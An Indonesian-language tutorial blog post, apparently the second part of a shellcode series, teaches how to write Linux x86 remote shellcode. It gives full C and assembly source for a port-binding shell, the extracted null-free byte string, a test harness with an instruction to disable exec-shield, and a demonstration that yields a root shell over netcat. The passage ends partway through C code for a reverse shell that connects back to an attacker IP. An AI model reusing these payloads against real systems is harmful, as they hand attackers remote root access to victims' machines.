Dalam artikel sebelumnya saya sudah
menjelaskan dasar-dasar pembuatan shellcode. Saya sudah menjelaskan
pembuatan shellcode untuk local exploit. Nah kali ini saya akan
lanjutkan lagi untuk membuat shellcode yang dipakai untuk exploit secara
remote.
Remote Exploit
Remote exploit adalah teknik exploitasi
yang dilakukan secara remote melalui jaringan. Exploit jenis ini
biasanya menyerang server/daemon yang sedang “LISTEN” di port tertentu.
Perbedaan utama antara local exploit dan
remote exploit adalah pada kondisi awalnya. Pada local exploit, sejak
awal attacker sudah memiliki shell access baik melalui ssh, telnet atau
remote desktop connection, namun dengan hak akses terbatas (sebagai
normal user). Sedangkan pada remote exploit, kondisi awal attacker
adalah tidak memiliki akses shell. Akses shell yang saya maksud adalah
kemampun untuk execute suatu file executable.
Jadi pada local exploit, tujuannya
adalah privilege escalation atas hak akses yang terbatas tersebut
menjadi tidak terbatas (root/administrator). Sedangkan pada remote
exploit, karena pada awalnya tidak punya akses shell, maka remote
exploit berusaha mendapatkan akses shell, baik sebagai user biasa maupun
sebagai super user (root/administrator).
Remote Shellcode
Dalam artikel ini saya akan menjelaskan tentang pembuatan 2 jenis remote shellcode, yaitu:
- Port Binding Shellcode
Shellcode jenis ini bertujuan untuk
memberikan shell yang bisa diakses dari jauh melalui port tertentu.
Attacker bisa mengakses shell tersebut dengan membuka koneksi ke IP
komputer target pada port yang sudah ditentukan sebelumnya.
Port binding shellcode tidak berguna
bila komputer target dilindungi dengan firewall yang memblok inbound
koneksi ke port di luar port yang diijinkan.
Firewall yang ditakutkan bukan firewall yang berada di komputer target sebab attacker bisa juga menambahkan rutin untuk mendisable firewall di komputer target. Tetapi firewall yang berada di luar komputer target tidak bisa dimatikan dari komputer target.
- Reverse Connecting Shellcode
Reverse connecting shellcode mirip
dengan port binding shellcode namun arah koneksinya terbalik. Dalam
shellcode ini justru komputer target yang membuka koneksi ke attacker.
Kenapa diperlukan shellcode seperti ini? Dalam banyak kasus orang sangat
paranoid terhadap koneksi yang masuk ke komputernya, namun tidak
terlalu paranoid untuk koneksi keluar.
Socket ProgrammingPort yang biasanya diijinkan untuk diakses adalah port untuk http, yaitu 80 dan 443 (SSL) karena ini adalah layanan yang paling banyak dipakai sehingga kecil kemungkinan ada admin yang memblok koneksi ke web server luar
Apa itu socket? Socket merupakan salah
satu metode IPC (inter process communication), yaitu komunikasi antar
proses (running program) di komputer yang sama maupun di komputer lain
(melalui jaringan). Dalam kasus ini kita membicarakan mengenai internet
socket, yaitu socket yang digunakan untuk berkomunikasi melalui jaringan
baik dengan komputer yang sama (localhost) maupun dengan komputer lain.
Ada dua jenis internet socket, yaitu
datagram socket dan stream socket. Datagram socket digunakan untuk
berkomunikasi menggunakan protokol UDP. Protokol UDP tidak cocok dipakai
untuk kasus ini karena protokol ini tidak reliable. Stream socket
adalah socket yang memakai protokol TCP, protokol inilah yang akan
dipakai dalam shellcode ini.
Sebelum bisa memakai fungsi-fungsi socket, program harus meng-include header file berikut:
#include <sys/socket.h> // library untuk socket #include <netinet/in.h> // definisi struct untuk socket |
Network Byte Order vs Host Byte Order
Dalam komputer, ada aturan bagaimana data secara internal disimpan. Ada
dua kubu aturan penyimpanan yang dipakai: little endian dan big endian.
Ada beberapa arsitektur komputer yang memakai little endian seperti
Intel, dan ada juga yang memakai big endian seperti Motorola dan
PowerPC.
Dalam socket programming kita akan berkomunikasi dengan komputer lain
yang tidak selalu sejenis arsitekturnya dengan yang kita pakai. Mungkin
di komputer kita memakai little endian, berkomunikasi dengan komputer
yang memakai big endian. Karena ada variasi ini, maka protokol IP
mendefinisikan istilah network byte order dan host byte order.
Network byte order adalah byte order dari protokol network yaitu memakai big endian byte ordering.
Host byte order adalah byte order yang dipakai client/server, bisa little atau big endian tergantung arsitektur komputernya.
Host byte order mungkin sama atau berbeda dengan host byte order.
Pada notasi little endian, byte rendah ditulis duluan, baru kemudian
byte tinggi. Sedangkan pada notasi big endian, byte tinggi ditulis
duluan, baru kemudian byte tinggi. Perhatikan gambar di bawah ini untuk
melihat perbedaan little dan big endian.
Pada gambar di atas IP address 192.168.0.14 dalam hexa adalah
C0.A8.00.0E disimpan dalam notasi little endian dan big endian. Byte
paling rendah, yaitu 0x0E disimpan di alamat memori paling rendah pada
sistem little endian. Sedangkan pada big endian, byte paling tinggi 0xC0
disimpan di alamat memori paling rendah.
Dalam kasus arsitektur Intel IA32, terdapat perbedaan endianness antara
host byte order yang memakai little endian, dengan network byte order
protokol network yang memakai big endian. Perbedaan ini membuat data
yang diterima dari protokol harus dikonversi dulu ke notasi little
endian, bila tidak akan terjadi mis-interpretasi data. Contohnya data
yang diterima dari network 0xABCD, bila tidak dikonversi maka data
tersebut dikira sebagai 0xCDAB pada komputer yang memakai little endian.
Karena protokol network memakai big endian, maka data yang ditulis dalam
paket yang dikirim ke jaringan harus dalam notasi big endian. Contohnya
dalam protokol IP, field source address harus ditulis dalam notasi big
endian. Perhatikan contoh sniffing network packet berikut:
Perhatikan pada gambar di atas, field destination IP adalah 192.168.0.14
yang bila ditulis dalam bentuk dotted hexadecimal adalah C0.A8.00.0E.
Dalam network packet, IP tersebut ditulis dalam bentuk C0.A8.00.0E,
yaitu notasi big endian untuk C0.A8.00.0E. Bila menggunakan notasi
little endian, nilai tersebut akan disimpan sebagai 0E.00.A8.C0.
Pada gambar di atas juga terlihat bahwa field destination port dan
source port juga ditulis dalam notasi big endian. Jadi jelas secara
internal kita sudah melihat raw packet data yang diambil dari network,
semua nilai ditulis dalam notasi big endian. Sekarang tinggal komputer
yang terlibat dalam komunikasi harus menyesuaikan diri dengan notasi
tersebut. Bila arsitekturnya juga memakai big endian, maka tidak ada
yang perlu dikonversi.
Karena host byte order di komputer yang saya pakai (IA32) memakai little
endian, sedangkan network byte order memakai big endian, maka
diperlukan konversi dari little endian ke big endian. Ada banyak fungsi
untuk melakukan konversi ini, antara lain:
- htons() dan htonl()
- ntohs() dan ntohl()
Mengubah host byte order ke network byte order.
Fungsi ini dipakai untuk mengirimkan paket, sebelum data ditulis dalam
paket dan dikirim ke jaringan harus dikonversi dulu dalam bentuk network
byte order.
Bagaimana menuliskan port 80 dalam network byte order? Pertama 80 dalam
hexa adalah 0×0050. Karena host (IA32) memakai little-endian, dan
network memakai big endian, maka 0×0050 ini perlu dibalik dulu menjadi
0×5000. Kenapa harus dibalik? Ingat dalam IA32, nilai 0×5000 di memori
komputer host akan tersimpan sebagai 0×00 0×50 dan dituliskan dalam
paket jaringan dalam urutan yang sama 0×00 0×50. Bila 0×0050 tidak
dibalik, maka di memori komputer host (IA32) akan tersimpan sebagai 0×50
0×00, sehingga dalam paket jaringan tertulis port 0×50 0×00 yang
berarti port 20.480 bila diartikan memakai big endian, bukan port 80.
Mengubah network byte order ke host byte order.
Fungsi ini dipakai ketika menerima paket dari jaringan. Dalam paket
tersebut data ditulis dalam notasi big endian, sehingga perlu dikonversi
ke host byte order yang sesuai (dalam kasus IA32 adalah little endian).
Dalam contoh sebelumnya, port 80 dalam paket jaringan
tertulis dalam urutan 0×00 0×50. Nilai ini ketika diterima oleh
komputer host juga tersimpan di memori dalam urutan yang sama. Urutan
dua byte 0×00 0×50 dalam host yang memakai little endian diartikan
sebagai 0×5000 yaitu 20.480. Oleh karena itu perlu dikonversi dulu
menjadi notasi little endian, menjadi 0×50 0×00. Dua byte 0×50 0×00
dalam sistem little endian diartikan sebagai nilai 0×0050 yaitu port 80.
Gambar di atas mengilustrasikan pemakaian fungsi untuk konversi
endianness antara host dan network. Dalam membua shellcode nanti kita
tidak akan memakai fungsi itu, kita akan langsung menuliskan dalam
bentuk network byte order.
Socket Address Structure
Dalam pemrograman socket, sebuah proses akan memakai IP address dan port
tertentu yang disimpan dalam struktur data bernama socket address yang
strukturnya seperti di bawah ini:
typedef uint32_t in_addr_t; struct in_addr { in_addr_t s_addr; }; struct sockaddr_in { sa_family_t sin_family; in_port_t sin_port; struct in_addr sin_addr; unsigned char sin_zero[8]; }; |
sin_family adalah jenis alamat yang dipakai dalam socket, dalam kasus
ini kita isi dengan 2 atau AFINET, yaitu IP (internet protocol) address.
sin_addr adalah IP address yang bertipe struct in_addr yang hanya
memiliki satu field yaitu s_addr bertipe integer. Dalam kasus port
binding shellcode, sin_addr.s_addr diisi dengan 0 atau INADDR_ANY yang
berarti kita menggunakan semua IP di localhost (tidak hanya 127.0.0.1
tapi semua IP address di komputer tersebut). sin_port adalah port yang
akan dipakai untuk LISTEN, silakan mengisi dengan port apa saja yang
tidak dipakai.
Ingat menuliskan IP address dan port harus dalam bentuk network byte orderClient Server Socket Programming
Socket programming melibatkan dua pihak, yaitu client dan server.
Hubungan antara client dan server serta fungsi yang dipakai dapat
dilihat pada gambar di atas.
Pada sisi server, fungsi yang dipakai adalah:
- socket()
- bind()
- listen()
- accept()
- read()
- write()
Ini adalah fungsi untuk membentuk socket baik di sisi
server maupun client. Pertama kali yang harus dilakukan dalam socket
programming adalah membuat socket dengan fungsi ini.
Ini adalah fungsi untuk memakai IP address dan port tertentu dalam socket yang sudah dibuat dengan fungsi socket() sebelumnya.
Ini adalah fungsi untuk LISTEN atau menunggu permintaan koneksi dari client.
Ini adalah fungsi untuk menerima koneksi dari client.
Ini adalah fungsi untuk menerima data yang dikirim client.
Ini adalah fungsi untuk mengirim data ke client.
Sedangkan pada sisi client lebih sederhana, fungsi yang dipakai adalah:
- socket()
- connect()
- read()
- write()
Sama seperti pada server, fungsi ini adalah fungsi yang pertama dipanggil dalam socket programming.
Fungsi ini untuk membuka koneksi ke server.
Fungsi ini untuk menerima data dari server.
Fungsi ini untuk mengirim data ke server.
Di UNIX semua hal adalah file, termasuk juga socket. Setiap file setelah
dibuka, dapat dioperasikan dengan memakai file handler. Ketika program
memanggil fungsi socket(), maka dia akan menerima socket file handler,
dan dengan handler tersebut operasi dengan socket bisa dilakukan untuk
berkomunikasi melalui jaringan.
Kenapa saya perlu menjelaskan tentang ini? Sebab dalam port binding
shellcode kita perlu mengarahkan file handler stdin, stdout dan stderr
ke file handler socket. STDIN adalah file handler dengan nilai 0, STDOUT
adalah file handler dengan nilai 1 dan STDERR adalah file handler
dengan nilai 2.
Biasanya stdin adalah keyboard, sehingga dengan membaca stdin program
akan menerima masukan dari user. Namun dalam shellcode ini program tidak
menerima input secara langsung dari keyboard, tetapi input berasal dari
client socket. Agar input dari client socket bisa diterima oleh shell
yang akan kita execute, maka kita perlu melakukan cloning dari client
socket ke stdin. Dengan cloning ini, kini stdin adalah client socket dan
program menerima input dari client socket.
Stdout adalah tempat untuk menampilkan output yang biasanya adalah layar
console. Namun dalam kasus ini, output harus bisa dibaca oleh attacker
yang berada di komputer lain melalui jaringan. Oleh karena itu stdout
juga harus dicloning ke client socket sehinga shell bisa mengirimkan
output melalui jaringan. Sedangkan stderr biasanya adalah layar console,
sama dengan stdout.
Cloning file handler dilakukan dengan memanggil fungsi dup2([socket
handler],[stdin/stdout/stderr]). Fungsi ini membuat socket handler dan
stdin/stdout/stderr adalah sama.
Membuat Port Binding Shellcode
Port binding shellcode artinya shellcode
bertindak sebagai server yang menunggu koneksi dari client yaitu
attacker. Sebelum kita membuat shellcode dalam bahasa assembly saya akan
membuat program port binding dalam bahasa C agar lebih mudah
dimengerti. Source code port binding shellcode dalam bahasa C terlihat
seperti di bawah ini:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #include <sys/socket.h> #include <netinet/in.h> int main() { char *shell[2]; int server; // server socket file handler int client; // client socket file handler struct sockaddr_in serv_addr; // definisi ipaddress dan port server=socket(2,1,0); // membuat socket STREAM serv_addr.sin_addr.s_addr=0; // ip address ALL LOCAL address serv_addr.sin_port=0x5C09; // port 2396 dalam network byte order serv_addr.sin_family=2; // Jenis address IP bind(server,(struct sockaddr*)&serv_addr,16); // bind socket ke port dan ipaddress listen(server,0); // menunggu koneksi dari client client=accept(server,0,0); // koneksi dari client sudah terjalin dup2(client,0); // duplicate stdin ke client socket dup2(client,1); // duplicate stdout ke client socket dup2(client,2); // duplicate stderr ke cilent socket shell[0] = "/bin/sh"; shell[1] = 0; execve(shell[0],shell,0); // execute shell dengan stdin,stdout dan stderr ke socket } |
Seperti pada gambar yang telah saya jelaskan di atas, socket programming
di server dimulai dari fungsi socket() untuk membuat server socket dan
mendapatkan file handlernya. Setelah itu ip address dan port harus
didefinisikan dalam struct sockaddr_in. Socket address ini akan dipakai
dalam fungsi bind() untuk mengikat port dan ip address tersebut dengan
socket yang sudah dibuat sebelumnya. Setelah ip dan port sudah terikat
dengan socket, kita bisa mulai menunggu koneksi dari client dengan
fungsi listen(). Program akan blocking di fungsi listen() ini. Program
akan resume, mulai berjalan lagi ketika client membuka koneksi dan
hubungan telah terjalin. Setelah hubungan telah terjalin, kita akan
memanggil fungsi accept() untuk mendapatkan file handler socket untuk
client.
Ada dua socket yang dipakai: server socket dan client socket
Port yang akan kita pakai untuk LISTEN adalah port 2396, yang dalam
hexadesimal adalah 0x095C. Ingat penulisan port harus dalam bentuk
network byte order (big endian), sehingga penulisannya harus dibalik
menjadi 0x5C09.
Saya menggunakan IP address bernilai 0 yang artinya all local address.
Local address disini tidak hanya 127.0.0.1 tetapi juga semua ip address
yang terdefinisi di interface yang ada pada host tersebut. Bila dalam
host tersebut ada 3 ethernet card dengan ip yang berbeda, maka dia akan
listen di semua ip tersebut.
Dalam program di atas sebelum kita mengeksekusi /bin/sh, kita perlu
mengarahkan stdin,stdout dan stderr ke client socket. Hal ini
dimaksudkan karena program yang dieksekusi dengan execve akan mewarisi
stdin, stdout dan stderr dari yang mengeksekusinya. Jadi bila tidak
dicloning dulu, maka stdin,stdout,stderr akan memakai keyboard dan layar
console sehingga tidak bisa dipakai untuk mengirim command dan menerima
outputnya dari jarak jauh.
Test
Sekarang mari kita uji program port binding di atas. Saya memakai dua
console di komputer yang sama untuk mengujinya. Pada console pertama
saya akan melakukan kompilasi dan menjalankan program tersebut sebagai
root.
$ gcc portbind.c -o portbind $ sudo ./portbind |
Setelah portbind dijalankan sebagai root dengan sudo, kini di console
lain saya membuka koneksi ke port 2396 dengan mamakai program netcat.
$ nc localhost 2396 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) whoami root exit |
Oke dalam pengujian di atas kita berhasil membuat program yang listen ke
port tertentu dan mengeksekusi shell bila ada koneksi masuk. Sekarang
kita harus membuat program sejenis namun dalam bahasa assembly. Sama
seperti pembuatan local shellcode, kita menggunakan interrupt 80 hexa
untuk memanggil system call. System call yang akan kita panggil adalah
socket, bind, listen, accept, dup2 dan execve.
Keluarga system call socket, bind, listen dan accept adalah satu system
call dengan nomor 102. Sebelum memanggil interrupt 80h kita perlu
mendefinisikan dulu apa yang akan kita panggil, apakah socket, bind,
listen atau accept. Pilihan tersebut harus dimasukkan dalam register
EBX:
- EBX = 1 untuk socket()
- EBX = 2 untuk bind()
- EBX = 3 untuk connect()
- EBX = 4 untuk listen()
- EBX = 5 untuk accept()
Parameter untuk fungsi socket, bind, connect, listen dan accept disimpan
sebagai array yang addressnya disimpan dalam register ECX. Seperti
biasa register EAX harus diisi dengan nomor system call yaitu 102.
struct sockaddr_in dalam Assembly
Bagian yang rumit dalam shellcode ini adalah ketika membentuk struct
sockaddr_in. Struct ini sebenarnya berukuran 16 byte, tetapi 8 byte
terakhir adalah sin_zero yang tidak terpakai, jadi kita hanya fokus
mengisi 8 byte pertama.
Susunan byte pada struct sockaddr_in adalah:
- Byte ke-1 dan ke-2: sin_family yang akan diisi dengan 0×0002 (AF_INET).
- Byte ke-3 dan ke-4: sin_port yang akan diisi dengan 0x5C09 (port 2396).
- Byte ke-5 s/d ke-8: sin_addr.s_addr yang akan diisi dengan 0×00000000 (semua IP di interface host).
Alamat dari struct sockaddr_in ini harus disimpan dalam ECX. Kita akan
memanfaatkan stack untuk membentuk struct ini. Karena stack adalah
struktur data LIFO, maka kita harus push dulu 4 byte terakhir
(0×00000000), kemudian diikuti dengan push 2 byte untuk sin_port dan
terakhir baru push untuk sin_family. Setelah semua di-push, maka ESP
menunjuk pada address struct ini sehingga harus kita salin ke ECX.
Snipped assembly di bawah ini adalah instruksi untuk membuat struct
sockaddr_in. Di akhir source, ESP menunjuk pada address struct
sockaddr_in.
1 2 3 4 5 | xor edx,edx ; edx = 0 push edx ; push sin_addr.s_addr 0x0 push word 0x5C09 ; push sin_port add edx,2 push dx ; push sin_family 0x0002 |
Setelah snippet di atas dijalankan, struct sockaddr_in akan terlihat seperti di bawah ini:
0x02 0x00 0x09 0x5C 0x00 0x00 0x00 0x00 |
0×02 0×00 adalah sin_family, hasil dari instruksi “push dx” pada saat
regsiter DX bernilai 2. Byte berikutnya 0×09 0x5C adalah sin_port, hasil
dari instruksi “push word 0x5C09″. Lalu 4 byte sisanya adalah
sin_addr.s_addr hasil dari instruksi “push edx” pada saat EDX bernilai
0.
Source Code Assembly Port Binding Shellcode1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | BITS 32 section .text global _start _start: xor eax,eax xor ebx,ebx xor edx,edx ;server=socket(2,1,0) push eax ; push 0 push byte 0x1 ; push 1 push byte 0x2 ; push 2 mov ecx,esp ; ECX points to [2][1][0] inc bl ; EBX=1 means socket() mov al,102 int 0x80 ; esi = server socket handler mov esi,eax ;bind(server,(struct sockaddr*)&serv_addr,16) push edx push word 0x5C09 add edx,2 push dx mov ecx,esp ; ECX = &serv_addr push byte 16 ; push 16 (sizeof struct sockaddr) push ecx ; push &serv_addr push esi ; push server socket handler mov ecx,esp ; ECX points to [server][&serv_addr][16] inc bl ; EBX=2 means bind() mov al,102 int 0x80 ;listen(server,0) xor edx,edx push edx ; push 0 push esi ; push server socket handler mov ecx,esp ; ECX points to [server][0] mov bl,0x4 ; EBX=4 means listen() mov al,102 int 0x80 ;client=accept(server,0,0) push edx ; push 0 push edx ; push 0 push esi ; push server socket handler mov ecx,esp ; ECX points to [server][0][0] inc bl ; EBX=5 means accept() mov al,102 int 0x80 ; ebx = client socket handler mov ebx,eax ;dup2(client,0) xor ecx,ecx mov al,63 int 0x80 ;dup2(client,1) inc ecx mov al,63 int 0x80 ;dup2(client,2) inc ecx mov al,63 int 0x80 ;execve "/bin//sh" push edx ; push NULL (0x0) push long 0x68732f2f ; push //sh push long 0x6e69622f ; push /bin mov ebx,esp ; EBX = address of "/bin//sh" push edx ; push NULL (0x0) push ebx ; push address of "/bin//sh" mov ecx,esp ; ECX address of [address of "/bin//sh",NULL] mov al,0x0b ; exec system call int 0x80 |
Bila anda sudah membaca artikel sebelumnya belajar membuat shellcode
part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi
shell (execve), jadi tidak perlu saya jelaskan lagi di sini.
System call dup2 sangat sederhana, register yang harus diisi adalah EBX
diisi dengan client socket handler, ECX diisi file handler untuk
stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan
nomor system call, 63.
Pada system call keluarga socket programming, socket(), bind(),
listen(), accept() semua argumen disimpan dalam bentuk blok memori
secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai
contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok
memori yang berisi byte berikut: 0×02 0×01 0×00.
Mengambil Opcode untuk Shellcode
Langkah berikutnya adalah kita harus compile dan link source assembly
tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa
diekstrak opcodenya.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | $ nasm -f elf portbind.asm $ ld -o portbind_asm portbind.o $ objdump -d ./portbind_asm ./portbind_asm: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: 31 c0 xor %eax,%eax 8048062: 31 db xor %ebx,%ebx 8048064: 31 d2 xor %edx,%edx 8048066: 50 push %eax 8048067: 6a 01 push $0x1 8048069: 6a 02 push $0x2 804806b: 89 e1 mov %esp,%ecx 804806d: fe c3 inc %bl 804806f: b0 66 mov $0x66,%al 8048071: cd 80 int $0x80 8048073: 89 c6 mov %eax,%esi 8048075: 52 push %edx 8048076: 66 68 09 5c pushw $0x5c09 804807a: 81 c2 02 00 00 00 add $0x2,%edx 8048080: 66 52 push %dx 8048082: 89 e1 mov %esp,%ecx 8048084: 6a 10 push $0x10 8048086: 51 push %ecx 8048087: 56 push %esi 8048088: 89 e1 mov %esp,%ecx 804808a: fe c3 inc %bl 804808c: b0 66 mov $0x66,%al 804808e: cd 80 int $0x80 8048090: 31 d2 xor %edx,%edx 8048092: 52 push %edx 8048093: 56 push %esi 8048094: 89 e1 mov %esp,%ecx 8048096: b3 04 mov $0x4,%bl 8048098: b0 66 mov $0x66,%al 804809a: cd 80 int $0x80 804809c: 52 push %edx 804809d: 52 push %edx 804809e: 56 push %esi 804809f: 89 e1 mov %esp,%ecx 80480a1: fe c3 inc %bl 80480a3: b0 66 mov $0x66,%al 80480a5: cd 80 int $0x80 80480a7: 89 c3 mov %eax,%ebx 80480a9: 31 c9 xor %ecx,%ecx 80480ab: b0 3f mov $0x3f,%al 80480ad: cd 80 int $0x80 80480af: 41 inc %ecx 80480b0: b0 3f mov $0x3f,%al 80480b2: cd 80 int $0x80 80480b4: 41 inc %ecx 80480b5: b0 3f mov $0x3f,%al 80480b7: cd 80 int $0x80 80480b9: 52 push %edx 80480ba: 68 2f 2f 73 68 push $0x68732f2f 80480bf: 68 2f 62 69 6e push $0x6e69622f 80480c4: 89 e3 mov %esp,%ebx 80480c6: 52 push %edx 80480c7: 53 push %ebx 80480c8: 89 e1 mov %esp,%ecx 80480ca: b0 0b mov $0xb,%al 80480cc: cd 80 int $0x80 |
Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0×00
yang merupakan bagian dari opcode instruksi: “add edx,2″. Kenapa byte
0×0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0×0
akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita
tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0×0
tersebut.
Agar byte 0×0 tidak ada, maka kita harus mengganti “add edx,2″ dengan
instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus
berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti
instruksi “add edx,2″ dengan instruksi “inc edx” sebanyak 2 kali. Mari
kita lihat perbedaan antara opcode “add edx,2″ dengan “inc edx”.
804807a: 81 c2 02 00 00 00 add edx, 2 |
804807a: 42 inc edx 804807b: 42 inc edx |
Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan
dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0×0.
Kedua adalah ukurannya lebih hemat, instruksi “inc edx” hanya berukuran 1
byte, jadi total berukuran 2 byte. Sedangkan instruksi “add edx, 2″
berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.
Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak
opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya
pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari
output objdump.
$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" |
Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan
ndisasm, kalau hasil disassemblernya sama dengan source assembly awal,
berarti shellcode tersebut sudah benar.
$ perl -e 'print "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'|ndisasm -u - 00000000 31C0 xor eax,eax 00000002 31DB xor ebx,ebx 00000004 31D2 xor edx,edx 00000006 50 push eax 00000007 6A01 push byte +0x1 00000009 6A02 push byte +0x2 0000000B 89E1 mov ecx,esp 0000000D FEC3 inc bl 0000000F B066 mov al,0x66 00000011 CD80 int 0x80 00000013 89C6 mov esi,eax 00000015 52 push edx 00000016 6668095C push word 0x5c09 0000001A 42 inc edx 0000001B 42 inc edx 0000001C 6652 push dx 0000001E 89E1 mov ecx,esp 00000020 6A10 push byte +0x10 00000022 51 push ecx 00000023 56 push esi 00000024 89E1 mov ecx,esp 00000026 FEC3 inc bl 00000028 B066 mov al,0x66 0000002A CD80 int 0x80 0000002C 31D2 xor edx,edx 0000002E 52 push edx 0000002F 56 push esi 00000030 89E1 mov ecx,esp 00000032 B304 mov bl,0x4 00000034 B066 mov al,0x66 00000036 CD80 int 0x80 00000038 52 push edx 00000039 52 push edx 0000003A 56 push esi 0000003B 89E1 mov ecx,esp 0000003D FEC3 inc bl 0000003F B066 mov al,0x66 00000041 CD80 int 0x80 00000043 89C3 mov ebx,eax 00000045 31C9 xor ecx,ecx 00000047 B03F mov al,0x3f 00000049 CD80 int 0x80 0000004B 41 inc ecx 0000004C B03F mov al,0x3f 0000004E CD80 int 0x80 00000050 41 inc ecx 00000051 B03F mov al,0x3f 00000053 CD80 int 0x80 00000055 52 push edx 00000056 682F2F7368 push dword 0x68732f2f 0000005B 682F62696E push dword 0x6e69622f 00000060 89E3 mov ebx,esp 00000062 52 push edx 00000063 53 push ebx 00000064 89E1 mov ecx,esp 00000066 B00B mov al,0xb 00000068 CD80 int 0x80 |
Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.
Jangan lupa untuk mematikan exec shield dengan cara “echo 0 > /proc/sys/kernel/exec-shield” sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.
1 2 3 4 | char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(void) { asm("jmp shellcode"); } |
$ gcc portbindshellcode.c -o portbindshellcode $ sudo ./portbindshellcode |
Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.
$ nc localhost 2396 whoami root id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) exit |
Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.
Membuat Reverse Connecting Shellcode
Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse
connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai
client dan attacker menyiapkan sebuah server yang siap dihubungi di IP
dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker
adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.
Karena socket programming di sisi client lebih sederhana dan mirip
dengan port binding, saya langsung saja membuat shellcode ini dalam
bahasa C.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | #include <sys/socket.h> #include <netinet/in.h> int main(void) { char *shell[2]; int soc; int remote; struct sockaddr_in serv_addr; serv_addr.sin_family=2; // internet address serv_addr.sin_addr.s_addr = 0x0E00A8C0; // 192.168.0.14 serv_addr.sin_port=0x136A; // port 27155 soc = socket(2,1,0); remote = connect(soc,(struct sockaddr*)&serv_addr,16); dup2(soc,0); dup2(soc,1); dup2(soc,2); shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0],shell,0); } |
Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer
attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem
